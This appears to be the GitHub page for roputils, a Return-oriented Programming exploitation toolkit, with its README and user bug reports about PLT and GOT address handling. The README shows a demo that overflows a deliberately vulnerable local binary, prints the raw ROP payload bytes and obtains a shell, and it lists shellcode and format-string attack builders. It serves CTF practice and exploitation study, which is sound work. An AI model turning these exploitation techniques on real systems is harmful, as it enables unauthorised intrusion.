inaz2 / roputils

A Return-oriented Programming toolkit

roputils

A Return-oriented Programming toolkit

Usage

examples/ropasaurusrex.py is a write-up of PlaidCTF 2013 ropasaurusrex.

Example scripts can be tested as below (getoffset requires gdb):

$ cd examples/

$ make
gcc -fno-stack-protector    bof.c   -o bof

$ make getoffset
python getoffset.py ./bof
120

$ python use-offset-x86-64.py ./bof 120
[+] read: '1\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x001\x04@\x00\x00\x00\x00\x00&\x06@\x00\x00\x00\x00\x00fZ6NlYRG\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x18\x10`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00(\x10`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x10\x06@\x00\x00\x00\x00\x00EkprOtWh\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x10`\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00H\x14`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x06@\x00\x00\x00\x00\x00Ls96gpQP\x00\x00\x00\x00\x00\x00\x00\x00@\x14`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xce\x05@\x00\x00\x00\x00\x00'
got a shell!
id
uid=1000(user) gid=1000(user) groups=1000(user)
exit
*** Connection closed by remote host ***

Overview

Currently roputils.py has the below classes:

• ELF: ELF parser (by readelf)
• ROP: ELF class with additional methods for creating ROP chains
• Shellcode: i386/x86-64/arm shellcode builder
• FormatStr: string builder for format string attack
• Proc: non-blocking IO for local/remote process
• Pattern: Metasploit pattern generator/calculator
• Asm: implementation of asm subcommand

roputils.py also can be used as CLI tool, the subcommands are:

• checksec: check security features (clone of checksec.sh)
• pc: create Metasploit pattern
• po: calculate offset in Metasploit pattern
• gadget: check availability of tiny gadgets
• scan: grep the binary and disassemble from each index
• sc: output shellcode as hexstring
• asm: assemble/disassemble input (i386/x86-64/arm/thumb2)
• objdump: disassemble with IDA-like annotations

To list up the methods of each class, hit the below command in the same directory as roputils.py:

$ python -c 'import roputils as me; help(me)'

roputils.py is a single-file module, so your script can use it by creating a symlink in the same directory.

For more details, just read the code.

roputils's Issues

possible export feature to pwntools?

Just as the title shows, is it possible to export these feature into pwntools?

How do you feel about merging your amd64 ropchain capability into pwntools

Im a big fan of your tool but it duplicates a lot of what pwntools already does.

The edge you have is the support for amd64 ropchains that is just awesome. How would you feel about developing/merging this capability into pwntools.

Let me know

what's wrong?

root@ubuntu:/roputils/examples# make
gcc -fno-stack-protector bof.c -o bof
root@ubuntu:/roputils/examples# make getoffset
python getoffset.py ./bof
120
root@ubuntu:/roputils/examples# python use-offset-x86-64.py ./bof 120
Traceback (most recent call last):
File "use-offset-x86-64.py", line 9, in
got_start = rop.got('__libc_start_main')
File "/root/roputils/examples/roputils.py", line 231, in got
return self.offset(self._got[name])
KeyError: '__libc_start_main'
root@ubuntu:/roputils/examples# uname -a
Linux ubuntu 4.4.0-42-generic #62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
root@ubuntu:~/roputils/examples#

KeyError: '__libc_start_main'

found a bug in rop.plt()

Hi, I found some strange bug in the function that get the plt address in the binary

>>> from pwn import *
>>> elf = ELF("./binary")
>>> print hex(elf.symbols['puts'])
0x8048660
>>> import roputils
>>> rop = roputils.ROP("./binary")
>>> print hex(rop.plt('puts'))
0x8048670
>>> 

As you can see, I'm using both pwntools & roputils
I expect pwntools' elf.symbols['puts'] will be the same as roputils' rop.plt('puts') , but in fact they output different results.
More importantly, roputils seems to have the wrong plt address. The puts plt address is 0x08048660, not 0x8048670.

Due to some reason, I can't post the testing binary here, can you send me an email (bruce30262[at]gmail.com), so I can send you the testing binary & help you fix the problem?
Thanks!

How can I ues this on python3

I want to use this on python3. Just replace the print?

PLT address is wrong when its order is different from GOT

7d2ae9f#commitcomment-10511052

tank96a commented on 7d2ae9f a day ago

I found a bug here.
self._plt[name] = self._section['.plt'][0] + (plt_stub_size * (len(self._plt)+1))
I get the wrong plt address.

puts and printf's plt addresses are both wrong for this case.
Relocation section '.rel.plt' at offset 0x3f8 contains 13 entries:
Offset Info Type Sym. Value Symbol's Name
0804b00c 00000107 R_386_JUMP_SLOT 00000000 read
0804b010 00000807 R_386_JUMP_SLOT 00000000 puts
0804b014 00000307 R_386_JUMP_SLOT 00000000 free
0804b018 00000407 R_386_JUMP_SLOT 00000000 alarm
0804b01c 00000507 R_386_JUMP_SLOT 00000000 stack_chk_fail
0804b020 00000607 R_386_JUMP_SLOT 00000000 strcpy
0804b024 00000707 R_386_JUMP_SLOT 00000000 malloc
0804b028 00000207 R_386_JUMP_SLOT 00000000 printf
0804b02c 00000907 R_386_JUMP_SLOT 00000000 __gmon_start
0804b030 00000a07 R_386_JUMP_SLOT 00000000 __libc_start_main
0804b034 00000b07 R_386_JUMP_SLOT 00000000 setvbuf
0804b038 00000c07 R_386_JUMP_SLOT 00000000 snprintf
0804b03c 00000d07 R_386_JUMP_SLOT 00000000 atoi

Symbol table '.dynsym' contains 17 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0 (2)
3: 00000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.0 (2)
4: 00000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.0 (2)
5: 00000000 0 FUNC GLOBAL DEFAULT UND stack_chk_fail@GLIBC_2.4 (3)
6: 00000000 0 FUNC GLOBAL DEFAULT UND strcpy@GLIBC_2.0 (2)
7: 00000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.0 (2)
8: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
9: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start
10: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
11: 00000000 0 FUNC GLOBAL DEFAULT UND setvbuf@GLIBC_2.0 (2)
12: 00000000 0 FUNC GLOBAL DEFAULT UND snprintf@GLIBC_2.0 (2)
13: 00000000 0 FUNC GLOBAL DEFAULT UND atoi@GLIBC_2.0 (2)
14: 0804b080 4 OBJECT GLOBAL DEFAULT 25 stdout@GLIBC_2.0 (2)
15: 08048dbc 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used
16: 0804b060 4 OBJECT GLOBAL DEFAULT 25 stdin@GLIBC_2.0 (2)

Request for more documentation please

Hello,

May I make a request for more documentation and comments on the examples please ?
This seems very useful but it's hard to follow through the code for help.

Thanks,